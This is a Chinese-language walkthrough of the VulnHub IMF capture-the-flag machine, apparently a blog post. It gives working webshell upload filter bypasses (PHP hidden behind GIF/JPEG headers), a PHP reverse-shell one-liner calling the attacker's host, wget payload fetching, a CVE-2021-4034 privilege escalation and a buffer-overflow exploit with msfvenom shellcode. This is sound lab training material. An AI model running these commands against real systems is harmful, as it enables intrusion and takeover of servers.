8-IMF

靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)

1.信息收集

nmap

nmap 192.168.75.0/24 -sP

nmap 192.168.75.13 -sS -sV -A -T4

curl

curl http://192.168.75.13
ZmxhZzJ7YVcxbVl
XUnRhVzVwYzNS
eVlYUnZjZz09fQ==
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

也可以右键查看源代码
flag1{YWxsdGhlZmlsZXM=}
http://www.hiencode.com/base64.html
allthefiles

echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
echo 'aW1mYWRtaW5pc3RyYXRvcg==' | base64 -d
imfadministrator

尝试访问 http://192.168.75.13/imfadministrator/
curl http://192.168.75.13/imfadministrator/

返回contact.php
http://192.168.75.13/contact.php
发现三个账户名
rmichaels
akeith
estone

尝试登录查看回显
rmichaels 是正确账户名

参考php strcmp比较字符串绕过:字符串和数组进行比较
http://www.atkx.top/2020/11/04/代码审计之弱类型绕过/字符串转换为数组:
我将字段名称更新pass为pass[],这意味着PHP将把这个字段解释为一个数组,而不是一个字符串。这有时会混淆验证字符串检查,如果输入是数组strcmp则会返回NULL!flag3{Y29udGludWVUT2Ntcw==}
continueTOcms

burp+sqlmap

点击IMF CMS
用burpsuite拦截流量包,右键点击:copy to file 保存到本地8-bp.txt文本中
cat 8-bp.txt

sqlmap -r 8-bp.txt --dump
database admin
table pages./images/whiteboard.jpg
./images/redacted.jpg

访问 http://192.168.75.13/imfadministrator/images/whiteboard.jpg
草科二维码解码 https://cli.im/deqr
flag4{dXBsb2Fkcjk0Mi5waHA=}
echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d
uploadr942.php

访问http://192.168.75.13/imfadministrator/uploadr942.php
经过尝试允许上传jpg、png、gif
但是存在waf,利用双扩展名或空字符都无法绕过waf

2-webshell

gif ``绕过waf

参考文章 https://stackoverflow.com/questions/3597082/how-is-a-website-hacked-by-a-maliciously-encoded-image-that-contained-a-php-scr
通过插入GIF89a十六进制标头并附加,WAF没有发现为恶意的php代码来创建一个gif文件。
这里按照文章方法,然后双引号、单引号都无法利用绕过waf,这里参考文章:
https://blog.csdn.net/vspiders/article/details/70162604
反引号中,变量转义作为shell命令被执行!echo 'GIF89a <?php echo `id`; ?>' > shell.gif
上传 发现上传后的文件 被编码
回显:File successfully uploaded.  成功绕过waf!

访问 http://192.168.75.13/imfadministrator/uploads/e023b3beb50a.gif
由回显可知 常穿的shell  相当于在终端 id

https://zhuanlan.zhihu.com/p/25049406
知道JPG/JPEG文件会是FFD8FFE0为文件头!echo 'FFD8FFE1' | xxd -r -p > jpg.gif
echo '<?php $jpg=$_GET['jpg']; echo `$jpg`; ?>' > jpg.gif
xxd创建一个hexdump,使用组合-r和-p读取没有行号信息和特定列布局的普通十六进制转储。
这个也是可以的png目前不知道怎么绕过

php 一句话木马

上传一句话木马
echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif
http://192.168.75.13/imfadministrator/uploads/22143936f90b.gif?cmd=id
GET 传参 id 传给cmd 再执行

cmd=ls
flag5_abc123def.txtcmd=cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}echo 'YWdlbnRzZXJ2aWNlcw==' | base64 -d
agentservices

反弹shell

利用kali本地反弹shell
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
修改信息

本机开启httpserver
python -m SimpleHTTPServer 8081
cmd=wget http://192.168.75.5:8081/shell.php
cmd=ls

bash /临时切换shell 到bash
nc -lvp 6688
访问 http://192.168.75.13/imfadministrator/uploads/shell.php
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty rawo -echo
fg
nc -lvp 6688

weevely 绕过waf

weevely generate passweevely weevely.php
cat weevely.php
mv weevely.php weevely.gif
vim weevely.gif 添加上 gif头部GIF98a
cat weevely.php
然后上传

weevely http://192.168.75.13/imfadministrator/uploads/cd73dccf5987.gif passweevely

why gif解析php

cd /var/www/html/imfadministrator/uploads ---进入文件上传目录
ls -la  ---查看到存在.htaccess
cat查看信息:
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif
可看到该文件与继续gif解析php文件!

3-提权

bashshell

nc -lvp 6688
php -r '$sock=fsockopen("192.168.75.5",6688);exec("/bin/sh -i <&3 >&3 2>&3");'python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo
fg
nc -lvp 6688

cve-2021-4034-poc.c

python -m SimpleHTTPServer 8081
wget http://192.168.75.5:8081/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o exp
chmod +x exp
./exp
cd /root
ls
cat Flag.txt
echo 'R2gwc3RQcm90MGMwbHM=' | base64 -d
Gh0stProt0c0ls

4-缓冲区溢出

agent

通过flag5 base64解码获得:agentservices
这是提示agent的服务存在问题!

find / -name agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent查看文件信息
ls -al /usr/local/bin/agent
file /usr/local/bin/agent
可执行文件
ls -al /etc/xinetd.d/agent
file /etc/xinetd.d/agent
发现端口7788 root权限运行

netstat -ant

端口碰撞

cd /usr/local/bin/
ls
cat access_codes

knock 192.168.75.13 7482 8279 9467 -v
nmap 192.168.75.13 -p7788
nc 192.168.75.13 7788

base64下载

md5sum agent
fabc1afd43f668df0b812213567d032c
base64 agentvim base64.txt //将base64码复制进去
cat base64.txt | base64 -d > agent
chmod +x agent
md5sum agent
fabc1afd43f668df0b812213567d032c

ltrace追踪

ltrace ./agent
随意输入数字! //我这里输入的1
strncmp("dwqdq\n", "48093572", 8)  = -1
//正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)

strings分析

strings agent
两个地方使用了“%s”,这很可能是一个有效的溢出点!
Location: %s
Report: %s

gdb分析

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
生成1200个字符

gdb ./agent
run
48093572    输入2000值后,发现segmentation fault溢出报错!存在缓冲区溢出!
0x41366641堆栈开始是EAX寄存器
EAX: 0xffffcfd4

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
发现偏移量为:168

python -c 'print "A" * 168 + "B" * 4'
通过测试:
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 15 times>, "BBBB")
EIP被168个字节覆盖,但是多给的B字节走到了EAX上,在给多个C测试shellcode会走哪儿!python -c 'print "A" * 168 + "B" * 4 + "CCCCCCCCCCCCCCCC"'
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 12 times>, "BBBB", 'C' <repeats 16 times>)C也走到了EAX,找保护措施!那么只需要找到eax值,即可直接跳到shellcode!

checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : PartialRELRO 是一种用于加强对 binary 数据段的保护的技术。
参考:https://lantern.cool/note-pwn-linux-protect/

ALSR

cat /proc/sys/kernel/randomize_va_space
2
或者:
sysctl -a --pattern randomize
kernel.randomize_va_space = 20 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出参考大佬:
https://www.securitylab.ru/analytics/405868.php

JMP shellcode

gdb-peda$ jmpcall eax
0x8048563 : call eaxasmsearch "jmp eax"
asmsearch "call eax"EAX 地址0x8048563

目前知道了JMP值:0x8048563
偏移量:168接下来shellcode:避免使用空字符和换行符
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.75.5 LPORT=6666 -f python -b "\x00\x0a\x0b"payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

需要运行,在输入密码,在输入ID,才能进行缓冲区溢出,这时候需要expect的特殊脚本语言来写:
https://en.wikipedia.org/wiki/Expect
代码
client.recv(512) 中recv是recvsize的缩写,
参考:https://blog.csdn.net/momod/article/details/105883550
当使用socket模块,在接收请求数据时一般用s.recv()函数。
这个函数有一个bufsize参数,指定要接受的最大数据量。
一般教程会推荐设定这个值为1024。如这个简单的服务器代码:

python exp.py
//python exp2.py

5.资料

教学如果写py脚本对付缓冲区溢出
参考文章:
https://zhuanlan.zhihu.com/p/387321917
脚本:
https://github.com/hum4nG0D/OSCP_Bufferovrflw_Prep
https://github.com/corelan/mona缓冲区溢出非常好的文章:
https://secnigma.wordpress.com/2021/04/05/an-introduction-into-linux-buffer-overflow/

8-vulnhub靶机-IMF-缓冲区提权相关推荐

  1. [VulnHub靶机]Lin.Security_linux提权

    文章目录 靶机描述 提权 1. sudo提权 2. socat提权 3. /etc/passwd哈希 3.1 /etc/passwd/ 3.2 /etc/shadow/ 4. crontab定时任务 ...

  2. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  3. 操作系统权限提升(三)之Windows系统内核溢出漏洞提权

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! Windows系统内核溢出漏洞提权介绍 ...

  4. Linux提权之suid篇

    Linux提权之suid篇 不知攻,焉知防 一个在安服路上摸索的大三生,记录平时学习笔记 suid前言: 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义. ...

  5. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  6. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  7. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  8. Vulnhub 靶机 VulnOSv2 write up opendocman cms 32075 sql注入 账号密码 ssh连接 37292.c 脏牛提权

    VulnOSv2 write up 0x00 环境搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 步骤一:枚举目录+主页挖掘 步骤二:OpenDocMan v1.2.7 cms利用 步骤三: ...

  9. Vulnhub 靶机 Stapler write up samba+wp advanced-video ->mysql 密码 连接 john解密 登录后台 wp插件getshell sudo提权

    Stapler write up 0x00 靶机搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 mysql 思路 ftp 思路 139 samba思路 步骤一:ftp匿名访问 步骤二:sam ...

  10. [VulnHub靶机]Lampiao_脏牛提权

    文章目录 环境介绍 实验步骤 1. 扫描端口 2. 信息收集 3. ssh爆破 4. drupal 7 漏洞getshell 5. 脏牛提权 环境介绍 攻击机:kali(192.168.56.104) ...

最新文章

  1. vue+ivew-admin开发项目,内存占用过大解决办法
  2. 使用pytorch构建一个神经网络、损失函数、反向传播、更新网络参数
  3. (视频) 基于HTML5的服务器远程访问工具
  4. mysql安装图形化管理界面phpMyAdmin
  5. 数据库表扩展字段设计思路
  6. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1056:点和正方形的关系
  7. 序列变换(Lis变形)
  8. 测试私有方法 重构_一个全栈工程师重构之路:中小公司 DevOps 落地实践
  9. python中使用cv2.findContours返回值too many values to unpack (expected 2)错误如何解决
  10. (网页)java数组去重总结(转)
  11. android 通过短信找回密码,我的android手机短信被我加密了,忘记密码了,在不刷机恢复出厂设置的情况下如何解决?急急急!!!!!...
  12. java replace 双引号到单引号
  13. 一台服务器装两个sql server_超详细的centos7部署zabbix监控服务器教程分享
  14. Linux内核快速处理路径尽量多用slab而慎用kmalloc
  15. Win 10 添加Epson网络打印机后刚开始可以打印,过一会就脱机
  16. 公司自动打卡与考勤作弊
  17. Unity颜色转换(HtmlString和Color)
  18. Android 与OpenCV454,实现模式匹配,色彩空间转换,QRcode识别
  19. 项目管理系统应该具有哪些功能
  20. MVC 自定义 错误页面

热门文章

  1. spring各版本jar包下载,持续更新中
  2. 【总结】自然语言处理(NLP)算法:概述与分类
  3. selenium webdriver操作chrome 启用无痕模式,摆脱清缓存烦恼
  4. php面向对象的基础题
  5. 工业微型计算机资料,《工业用微型计算机》串讲资料.doc
  6. 安装了Vetur之后的配置
  7. 看门狗子程序 c语言,X25045看门狗电路硬件连接图及C语言看门狗程序
  8. admob 广告展示 的一些资料
  9. html上传文件到站点,怎么打包上传文件到网站
  10. Ubuntu 安装和配置Tomcat